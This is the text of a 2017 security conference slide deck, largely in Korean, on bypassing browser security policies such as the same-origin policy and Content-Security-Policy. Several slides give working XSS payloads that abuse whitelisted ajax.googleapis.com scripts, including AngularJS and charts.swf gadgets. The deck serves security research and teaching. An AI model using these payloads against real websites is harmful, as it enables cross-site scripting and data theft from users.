PowerPoint 프레젠테이션

Size: px

Start display at page:

Download "PowerPoint 프레젠테이션"

형욱 팽
6 years ago
Views:

1 SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security Researcher at i2sec Korea University Graduate School

2 Agenda - Me? - Abstract - What is HTTP Secure Header? - What is SOP(Same Origin Policy)? - SOP(Same Origin Policy) Bypass 1-Day - Details CSP(Content-Security-Policy) - CSP Bypass (Whitelist) - Conclusion

3 Me? - 김동현 (hackpupu) researcher@(c)i2sec - CTF, Web Hacking, Pentester - Scuba Diving, Sea

4 Abstract Browser Hacking 중 Secure Header 에관한취약점을소개한다.

5 What is HTTP Secure Header? 어떠한 Response Header 가 Client Browser 에영향을줄수있는가? 옵션기능 Example Content-Security-Policy XSS 공격방지, 허용된 URL 에서만 Static Resource 허용 Content-Security-Policy: script-src self X-Frame-Options FRAME 을차단 / 설정된도메인만허용 X-Frame-Options: SAMDORIGIN or Deny or X-Content-Type-Options MIME-Snffing 공격을차단 X-Content-Type-Options: nosniff Strict-Transport-Security HTTPS 로강제고정해연결 (MITM 공격차단 ) Strict-Transport-Security: max-age= ; includesubdomains Public-Key-Pins 인증서 PIN 을비교후연결 ( 위조된인증서확인 ) Public-Key-Pins: pin-sha256= <sha256> ; pin-sha256= <sha256> max-age= ; includesubdomains X-XSS-Protection 브라우저의 XSS 필터를활성화 X-XSS-Protection: 1; mode-block

6 What is HTTP Secure Header? Github Response Header Example

7 What is SOP(Same Origin Policy)? Same Origin Policy Details - Example Example: URL 결과 이유 성공 성공 실패 프로토콜상이 실패 포트상이 실패 호스트상이

8 What is SOP(Same Origin Policy)? Same Origin Policy Details - What is Origin? seoul.i2sec.co.kr :8080 scheme hostname port Origin

9 What is SOP(Same Origin Policy)? Same Origin Policy Details - IE Except - Trust Zones: 두도메인이신뢰할수있는영역에속하면 SOP 가적용되지않는다. e.g., 기업도메인 (corporate domains) - Port: IE 는포트를비교하지않는다. =

10 What is SOP(Same Origin Policy)? Same Origin Policy Details - Inherited origins - about:blank, data: 또는 javascript: 와같은 URL 에서는 URL 자체가원본에대한정보를제공하지않기에, 위 URL 을호출한문서의정책을상속한다. about:blank Origin: seoul.i2sec.co.kr data: javascript:

11 What is SOP(Same Origin Policy)? Edge Browser SOP Bypass Using Reading Mode - ALL Source Code In hackpupu github -

12 SOP(Same Origin Policy) Bypass 1-Day Edge Browser SOP Bypass Using Reading Mode Read Mode ON

13 SOP(Same Origin Policy) Bypass 1-Day Edge Reading Mode - Details Read Mode ON Original HTML Read Mode HTML

14 SOP(Same Origin Policy) Bypass 1-Day Edge Reading Mode - Details Read Mode ON Deleted Tags <script> <hr> <section> <footer> <li> <header> <nav> <article> <ul> Read Mode Deleted Tags (e.g, secuinside.org/2017/ctf.html)

15 SOP(Same Origin Policy) Bypass 1-Day Edge Reading Mode - Details

16 SOP(Same Origin Policy) Bypass 1-Day Edge Reading Mode - Details read:

17 SOP(Same Origin Policy) Bypass 1-Day Edge Reading Mode - Conclusion Edge CSS File is Internal File Using C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Assets\ReadingView Edge Read mode Delete Tags(Script, Iframe, etc html tags ) Loading in the background, without the user knowing

18 SOP(Same Origin Policy) Bypass 1-Day Edge Reading Mode - Vulnerability#1

19 SOP(Same Origin Policy) Bypass 1-Day Edge Reading Mode - Vulnerability#1 read:

20 SOP(Same Origin Policy) Bypass 1-Day Edge Reading Mode - Vulnerability#1 Finding Interesting Redirect URL

21 SOP(Same Origin Policy) Bypass 1-Day Edge Reading Mode - Vulnerability#1 Not Changed location.href and URL Bar

22 SOP(Same Origin Policy) Bypass 1-Day Edge Reading Mode - Vulnerability#2 Object Tag Write Available <object data="

23 SOP(Same Origin Policy) Bypass 1-Day Edge Reading Mode - Vulnerability#3 document.write data, top location using! <object data=" "></object>

24 SOP(Same Origin Policy) Bypass 1-Day Edge Reading Mode - Vulnerability Conclusion Using Edge Read Mode Redirect, Not Change URL Bar and location.href value Edge Read Mode not deleted object tag Edge Read Mode document.write

25 SOP(Same Origin Policy) Bypass 1-Day Edge Reading Mode - Demo SOP Bypass 1-Day DEMO

26 CSP(Content-Security-Policy) Details CSP Options Content-Security-Policy: script-src 'self' Access-Allow Resource Type Another Domain Origin (Using Domain)

27 CSP(Content-Security-Policy) Details CSP Options - Access-Allow Resource Type 옵션기능 Example Domain base-uri <base> 태그에나타낼수있는 URL 을제한 child-src Frame 태그에나타낼수있는 URL 을제한 child-src connect-src XHR, WebSocket 또는 EventSource 를통해연결하는출처를제한 font-src 웹폰트를제공할수있는출처를제한 font-src form-action img-src media-src <form> 태그내 action 의 Endpoint 를제한 이미지를로드할수있는출처를제한 동영상및오디오를로드할수있는출처를제한 style-src 스타일시트 (CSS) 를로드할수있는출처를제한 style-src

28 CSP(Content-Security-Policy) Details CSP Options - Another Tip - Content Security Policy (CSP) block eval method call - CSP is block using eval() for Javascript - CSP does not specify unsafe-inline, the inline event handler is blocked

29 CSP(Content-Security-Policy) Details Why Attacker Thinking CSP? Drive By Download Attack hacker_site/hack.js Victim Site Include(hacker_site/hack.js) User Browser

30 CSP(Content-Security-Policy) Details Why Attacker Thinking CSP? - Enable CSP Drive By Download Attack hacker_site/hack.js Victim Site Include(hacker_site/hack.js) User Browser

31 CSP(Bypass) Bypass CSP(Bypass) Example, Edge 0-Day and CSP WhiteListDomain - ALL Source Code In hackpupu github -

32 CSP(Bypass) Edge Bypass application/pdf not filtering - Demo <embed type="application/pdf" src=" width="800" height="500">

33 CSP(Content-Security-Policy) Details CSP is Real Safe? Content-Security-Policy: script-src self ajax.googleapis.com

CSP Bypass (Whitelist) CSP bypass XSS Challenge https://github.

34 CSP Bypass (Whitelist) CSP bypass XSS Challenge %22Sh*t,-it%27s-CSP!%22

35 CSP Bypass (Whitelist) CSP bypass Using AngularJS ng-csp Options ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></ script>

36 CSP Bypass (Whitelist) CSP bypass Using Google Externallinterface XSS "><embed src='//ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/asse ts/charts.swf?alloweddomain=\"})))}catch(e){alert(1337)}//' allowscriptaccess=always>

37 CSP Bypass (Whitelist) CSP bypass Using AngularJS + Prototype.js "ng-app ng-csp><base href=//ajax.googleapis.com/ajax/libs/><script src=angularjs/1.0.1/angular.js></script><script src=prototype/ /prototype.js></script>{{$on.curry.call().aler t(1337

38 CSP Bypass (Whitelist) CSP bypass DEMO(ajax.googleapis.com)

39 Conclusion - 브라우저별보안헤더 / 정책을적용한방법은다다르다. - 헤더를안전하게적용했다고생각하지만취약점은존재한다! - SOP, CSP 등은재미나게우회할아이디어가많다. - 기능이새로추가되는 Third-Party 도보면참재미지다. - CDN과 AngularJS 샌드박스를 100% 신뢰하지말라

40 0-day IE11! from James Lee - ALL Source Code In hackpupu github -

41 0-Day IE11! from James Lee MS IE11 Information Disclosure, Content Spoofing, etc

42 Thank you :) - Reference US/docs/Web/Security/HTTP_strict_transport_security Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22

HTML5가 웹 환경에 미치는 영향 고 있어 웹 플랫폼 환경과는 차이가 있다. HTML5는 기존 HTML 기반 웹 브라우저와의 호환성을 유지하면서도, 구조적인 마크업(mark-up) 및 편리한 웹 폼(web form) 기능을 제공하고, 리치웹 애플리케이 션(RIA)을

HTML5가 웹 환경에 미치는 영향 고 있어 웹 플랫폼 환경과는 차이가 있다. HTML5는 기존 HTML 기반 웹 브라우저와의 호환성을 유지하면서도, 구조적인 마크업(mark-up) 및 편리한 웹 폼(web form) 기능을 제공하고, 리치웹 애플리케이 션(RIA)을 동 향 제 23 권 5호 통권 504호 HTML5가 웹 환경에 미치는 영향 이 은 민 * 16) 1. 개 요 구글(Google)은 2010년 5월 구글 I/O 개발자 컨퍼런스에서 HTML5를 통해 플러 그인의 사용이 줄어들고 프로그램 다운로드 및 설치가 필요 없는 브라우저 기반 웹 플랫폼 환경이 점차 구현되고 있다고 강조했다. 그리고 애플(Apple)은 2010년